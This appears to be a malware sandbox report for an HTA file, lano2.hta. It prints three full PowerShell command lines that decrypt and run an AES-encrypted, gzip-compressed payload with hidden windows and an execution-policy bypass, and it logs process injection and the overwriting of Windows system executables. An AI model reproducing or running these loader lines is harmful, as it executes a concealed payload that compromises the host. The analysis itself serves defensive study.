parent_process	powershell.exe	martian_process	C:\Windows\System32\cmd.exe /c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell -
parent_process	iexplore.exe	martian_process	powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - }
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $nlQd = 'AAAAAAAAAAAAAAAAAAAAAGm0cNyZxntPzH+fHRaTsGlOraX9OxIqcsTFdZZUxRcwysN9fZSDRrN7DRqCFEHkyulz/euXrYWwzmO6eHParfoDFynIw/NFhJvI1ajFWodLyGFQT0F/gKY2skZTtHhGSReVPxYjtg78gJCIFVL7VA9IdW+KNAga+GGhp7jEUaadq2bMi35xDH8k4pn86BTaBDL2gGovJt0gLjGLVkf3GxHDwjALOMePrQDa0/YTk5cDTu3BBErcQr8wRTaM8Dq63x4aiB1g1haVwpf+CXyfD0TFhAwYhASAua55RDVlpPZoi4nKRpVvz/KVXSAKbuaIGqlD58qpEmrfx4TzJdisuCIVSndz2n7X9faWK1CHZuz30Fam2DwcMvlY6g0npl289Jbjm975COQ3U71HgSOj1YUQyM8lecgMJT/VWls+i/JlVao7vO1he6AqqqJlbsnJygBKEu7ZLASEwN0d97IWS162GiIInolCwd5sp+XnLfi7CJajnOtGu9V76G6hiM/mIjjE/YLcsfR77XCifLEwKaxWTcSo3HrWr9YGImigIIYxPJkiEcr0dT+6HeTpgGCepEB/e63fOyKlnhrPayC630bkBmsTKoLXHt0gA68RkfJVuIy754nTtcvnA+MpPGl2cEADD4+1FigZQXpf5AwTzFSzxR+da9KPJ1Gr7ugf/mr8QfdRWUdKjFapscAah7BHasBhMUnH4ew3RKEdEsN0ENEao0cw+saTsPjHxsx/iLiWxkjw/rxMeKYtJKu3n13SybTtmc4mv19peMacRwzjPYI9a4K4T5r9A0qfegAjttRtduRi4cgASIQX7odwvGeB7k6qqPtqiVzyAXDTIKNeJoGjRegyJ+inJfDkO4C129DkoxQ9nTQNp707DdTX1gxNTHMY8HJaAQCd2wOrHpYnkpPNxXEY9J4yVAvwlQErttwhgEjedOQTSTJ567ButIm7M7Khpp6IcTx+BGygui1xu2k=';$tWpQVby = 'bUhSRUhLS3B0RHNKcmhSYnhGblJOS2tkUU5ia1Z6TWo=';$HSihsk = New-Object 'System.Security.Cryptography.AesManaged';$HSihsk.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HSihsk.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HSihsk.BlockSize = 128;$HSihsk.KeySize = 256;$HSihsk.Key = [System.Convert]::FromBase64String($tWpQVby);$Omqpr = [System.Convert]::FromBase64String($nlQd);$SHDzOWza = $Omqpr[0..15];$HSihsk.IV = $SHDzOWza;$wFNIXQHKM = $HSihsk.CreateDecryptor();$CZbDtTJuK = $wFNIXQHKM.TransformFinalBlock($Omqpr, 16, $Omqpr.Length - 16);$HSihsk.Dispose();$ilrYPQCw = New-Object System.IO.MemoryStream( , $CZbDtTJuK );$RcHyK = New-Object System.IO.MemoryStream;$dedlfDddT = New-Object System.IO.Compression.GzipStream $ilrYPQCw, ([IO.Compression.CompressionMode]::Decompress);$dedlfDddT.CopyTo( $RcHyK );$dedlfDddT.Close();$ilrYPQCw.Close();[byte[]] $rxGgI = $RcHyK.ToArray();$RgZotFEs = [System.Text.Encoding]::UTF8.GetString($rxGgI);$RgZotFEs \| powershell - }

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3068 resumed a thread in remote process 2228
NtResumeThread July 26, 2023, 2:27 p.m.	thread_handle: 0x0000000000000368 suspend_count: 1 process_identifier: 2228	1	0	0

Creates a suspicious Powershell process (4 events)

option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

lano2.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All